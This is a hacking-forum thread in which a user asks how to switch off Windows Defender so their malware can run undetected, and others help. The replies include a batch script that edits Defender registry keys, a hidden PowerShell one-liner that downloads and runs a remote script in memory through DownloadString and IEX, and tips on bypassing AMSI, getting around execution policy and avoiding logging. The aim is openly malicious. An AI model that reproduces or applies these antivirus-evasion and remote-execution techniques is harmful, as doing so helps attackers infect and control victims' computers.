

Forum:[Hack Forums](#)

Thread: [Powershell code execution, administrator](#)

Minerva5 - November 13, 2018, 9:09 pm

I need to know how to execute powershell command before malware do the job on machine. I was thinking to delay malware for 1min example til powershell do the trick (i am trying to disable defender that way) so the malware can bypass the defender. Also is it possible to run that automatically as administrator on different machine (VM). I am trying to figure that out on VM and I need some help, tips, tricks.

CyberStrike - November 13, 2018, 11:55 pm

(Nov 13, 2018 10:09 PM)Minerva5 Wrote: [\[CITE\]](#) I need to know how to execute powershell command before malware do the job on machine. I was thinking to delay malware for 1min example til powershell do the trick (i am trying to disable defender that way) so the malware can bypass the defender. Also is it possible to run that automatically as administrator on different machine (VM). I am trying to figure that out on VM and I need some help, tips, tricks.

Like you mean remotely running commands and as admin? Explain further I get you are trying to deal with defender through powershell

Edit: Just so we are aware here generally powershell scripts you must have the execution policy to unrestricted .. there are multiple registry keys which need to be touched

If you plan on creating a script you can run it as admin or it fails by using the following :

#Requires -RunAsAdministrator

Denote once again that set-executionpolicy unrestricted you may also be looking at some further work, but once again all this hinges on what you are wanting to really do.

Nick (Name) - November 14, 2018, 6:21 am

You're unable to disable Defender through Powershell, if you're trying to set registry entries or modify local group policies you're going to get denied, you need TrustedInstaller rights to modify those values.

Minerva5 - November 14, 2018, 7:07 am

(Nov 14, 2018 12:55 AM)SilentWatch Wrote: [\[CITE\]](#) Like you mean remotely running commands and as admin? Explain further I get you are trying to deal with defender through powershell

Edit: Just so we are aware here generally powershell scripts you must have the execution policy to unrestricted .. there are multiple registry keys which need to be touched

If you plan on creating a script you can run it as admin or it fails by using the following :

#Requires -RunAsAdministrator

Denote once again that set-executionpolicy unrestricted you may also be looking at some further work, but once again all this hinges on what you are wanting to really do.

I am using this code

Code @Echo Off

call :IsAdmin

Echo E

```
If /i Not %input%==E (Goto :_Start) Else (Goto :_Enable)
```

```
Reg.exe add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f > Nul
```

Exit

```
Reg.exe add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v
```

```
"DisableScanOnRealtimeEnable" /t REG_DWORD /d "0" /f > Nul
```

```
Cls & Mode CON LINES=15 COLS=48 & Color 0C & Title - WARNING -  
Echo.  
Echo.  
Echo Defender Disabled  
Ping -n 5 localhost > Nul  
Exit
```

```
:IsAdmin  
Reg.exe query "HKU\S-1-5-19\Environment"  
If Not %ERRORLEVEL% EQU 0 (  
Cls & Mode CON LINES=5 COLS=48 & Color 0C & Title - WARNING -  
Echo.  
Echo.  
Echo YOU MUST RUN THIS FILE WITH ADMINISTRATOR TO CONTINUE  
Pause > Nul & Exit  
)  
Cls  
goto:eof
```

I read somewhere that its easier to play with privacy, registry and power shell then to buy valid certificate at vendors. I am not mass spreading or anything just trying to learn

(Nov 14, 2018 07:21 AM)Nick (Name) Wrote: [\[CITE\]](#) You're unable to disable Defender through Powershell, if you're trying to set registry entries or modify local group policies you're going to get denied, you need TrustedInstaller rights to modify those values.

You mean like installer with cert?

Qismon - November 16, 2018, 10:56 am

(Nov 14, 2018 12:55 AM)SilentWatch Wrote: [\[CITE\]](#) Like you mean remotely running commands and as admin? Explain further I get you are trying to deal with defender through powershell

Edit: Just so we are aware here generally powershell scripts you must have the execution policy to unrestricted .. there are multiple registry keys which need to be touched

If you plan on creating a script you can run it as admin or it fails by using the following :

```
#Requires -RunAsAdministrator
```

Denote once again that set-executionpolicy unrestricted you may also be looking at some further work, but once again all this hinges on what you are wanting to really do.No need for ExecutionPolicy changes or regkey changes. Thats why you have -ExecutionPolicy bypass when calling a remote script using DownloadString and Invoke-Expression.

```
Code powershell -ExecutionPolicy Bypass -WindowStyle Hidden -nologo -noprofile "$webClient =  
New-Object System.Net.WebClient;$webClient.DownloadString('http://example.com/script.ps1') |  
IEX"
```

Thats a basic one-liner to download/execute a remote script, in that format it should work fine in a .bat or whatever you need.

CyberStrike - November 17, 2018, 1:20 am

(Nov 14, 2018 08:07 AM)Minerva5 Wrote: [\[CITE\]](#) I am using this code

I read somewhere that its easier to play with privacy, registry and power shell then to buy valid certificate at vendors. I am not mass spreading or anything just trying to learn

You mean like installer with cert?

TrustedInstaller has been around since Win 7 I think at least since Win8 but it owns keys in the registry as well as some folders. I've used the registry to disable Defender and Defender SmartScreen since December of 2017. I haven't tested it recently but I don't think I had to do anything but the execution policy, but below should work it's been a while since I dealt with defender in a non-testing environment.

(Nov 16, 2018 11:56 AM)Qismon Wrote: [\[CITE\]](#) No need for ExecutionPolicy changes or regkey changes. Thats why you have -ExecutionPolicy bypass when calling a remote script using DownloadString and Invoke-Expression.

```
Code powershell -ExecutionPolicy Bypass -WindowStyle Hidden -nologo -noprofile "$webClient = New-Object System.Net.WebClient;$webClient.DownloadString('http://example.com/script.ps1') | IEX"
```

Thats a basic one-liner to download/execute a remote script, in that format it should work fine in a .bat or whatever you need.

On just for a bit, but watch for AMSI, they have hardened it up a bit. I believe this also would be logged not hard to take care of that of course.

VoIPv2 - November 18, 2018, 8:59 am

(Nov 14, 2018 12:55 AM)SilentWatch Wrote: [\[CITE\]](#) Like you mean remotely running commands and as admin? Explain further I get you are trying to deal with defender through powershell

Edit: Just so we are aware here generally powershell scripts you must have the execution policy to unrestricted .. there are multiple registry keys which need to be touched

If you plan on creating a script you can run it as admin or it fails by using the following :

```
#Requires -RunAsAdministrator
```

Denote once again that set-executionpolicy unrestricted you may also be looking at some further work, but once again all this hinges on what you are wanting to really do.

Any reason why the OP can't do Code "PowerShell.exe -ExecutionPolicy Bypass -File file.ps1"?

Qismon - November 18, 2018, 9:22 am

(Nov 18, 2018 09:59 AM)VoIPv2 Wrote: [\[CITE\]](#) Any reason why the OP can't do Code "PowerShell.exe -ExecutionPolicy Bypass -File file.ps1"?

He can but why drop a file to disk when you can host it remotely and be able to make updates if needed.

CyberStrike - November 20, 2018, 7:04 am

As noted above, dropping to disk is considered as "sloppy" executing in memory is a bit better. Powershell is so heavily abused not sure if anyone is keeping up but Empire powershell payloads or encoded payloads we have seen a few threads here about them failing, of course once it's signed (legit code signing or certificate chain attack) it sails right through. I know for myself I have been using AMSI bypasses, using DLR/RTL in IronPython to do a ton of this stuff. Evolution in tactics are important you can't get into a mode where " It worked for the past 5 years it must still work".

Remember that encoded scripts tend to be deobfuscated in logging.

https://docs.microsoft.com/en-us/powershell/wmf/5.0/audit_script

Heck even file in memory are routinely dumped. There are a few threads about memory forensics where this is done. When you look at execution policy bypass all it's doing is just changing \$env:PSExecutionPolicyPreference but remember that the registry also has a value and is one time for that session.

<https://docs.microsoft.com/en-us/powershell/scripting/core-powershell/console/powershell.exe-command-line-help?view=powershell-6>

https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_execution_policies?view=powershell-6